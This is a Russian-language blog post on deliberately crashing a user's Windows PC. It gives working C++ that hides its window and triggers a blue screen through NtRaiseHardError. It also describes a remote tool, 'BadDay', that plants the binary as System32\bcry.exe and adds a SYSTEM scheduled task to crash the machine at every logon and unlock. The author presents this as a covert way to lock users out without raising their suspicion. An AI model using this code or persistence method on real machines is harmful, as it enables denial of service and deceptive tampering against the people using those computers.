Как вызвать BSOD на Windows машине пользователя.
Опишу свой конкретно случай для которого мне собственно и подумалось реализовать программу, чтобы было удобно по необходимости «блокировать» так сказать компьютер пользователя.
Предисловие
По ряду причин может понадобится так что вам нужно заблокировать возможность работать на компьютере пользователю, к примеру по причине безопасности и вам нужно легально и не вызывая каких либо подозрений со стороны пользователя забрать его компьютер для анализа и прочего. Для решения такой задачи выбрали вариант когда пользователь при авторизации в систему получал BSOD и не мог войти, при этом нужно не ломать систему, а иметь возможность отключать данный режим.
Реализация выглядит следующим образом, на компьютере пользователя размещается специальный файл, который при запуске вызывает BSOD в системе и создаётся задание в Планировщик задач Windows
что при входе в систему или разблокировки ее, запускать эту самую программу.
Для вызова BSOD мы явно инициируем «жесткую» ошибку системы с кодом STATUS_ASSERTION_FAILURE
, используя низкоуровневый системный вызов NtRaiseHardError
, код достаточно простой:
EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
EXTERN_C NTSTATUS NTAPI NtRaiseHardError(NTSTATUS ErrorStatus,
ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
PULONG_PTR Parameters, ULONG ValidRespnseOption, PULONG Response);
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
BOOLEAN b;
unsigned long response;
RtlAdjustPrivilege(19, true, false, &b);
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, 0, 6, &response);
}
Программа BadDay
Написана программа на C++
с использованием только WinAPI. Суть программы простая и заключается в удобном включении режима BSOD на удаленной машине пользователя.
Remote Scheduled Tasks Management (RPC)
Remote Scheduled Tasks Management (RPC-EPMAP)
В противном случае подключение к удаленному Task Schedule завершится неудачей. В доменной среде это легко можно включить при помощи GPO.
При активации режима BadDay программа вызывающая BSOD копируется на удаленную машину в каталог — C:\Windows\System32\bcry.exe
и создается задание в Task Schedule работающее от имени SYSTEM
и запускает bcry.exe
при входе пользователя в систему или если он заблокировал ПК и при последующей его разблокировки.

Описание действия кнопок:
"-"
: очистить поле ввода IP-адреса.Valid
: проверить сетевую доступность введенного IP адреса.Test Connection
: проверить возможность удаленной настройки задания в Task Schedule.GetTask
: проверить наличие задания [BadDay] на указанной машине.RunTask
: принудительно запустить задание [BadDay] на указанной машине, если оно там имеется.Activate [BadDay]
: создать задание [BadDay] на указанной машине.De-Activate [BadDay]
: удалить задание [BadDay] на указанной машине.
Если есть вопросы, предложения и нашли «баг», прошу в комментарии.
ПОНРАВИЛАСЬ ИЛИ ОКАЗАЛАСЬ ПОЛЕЗНОЙ СТАТЬЯ, ПОДДЕРЖИ АВТОРА ДОНАТОМ
Обсуждение
Нет комментариев.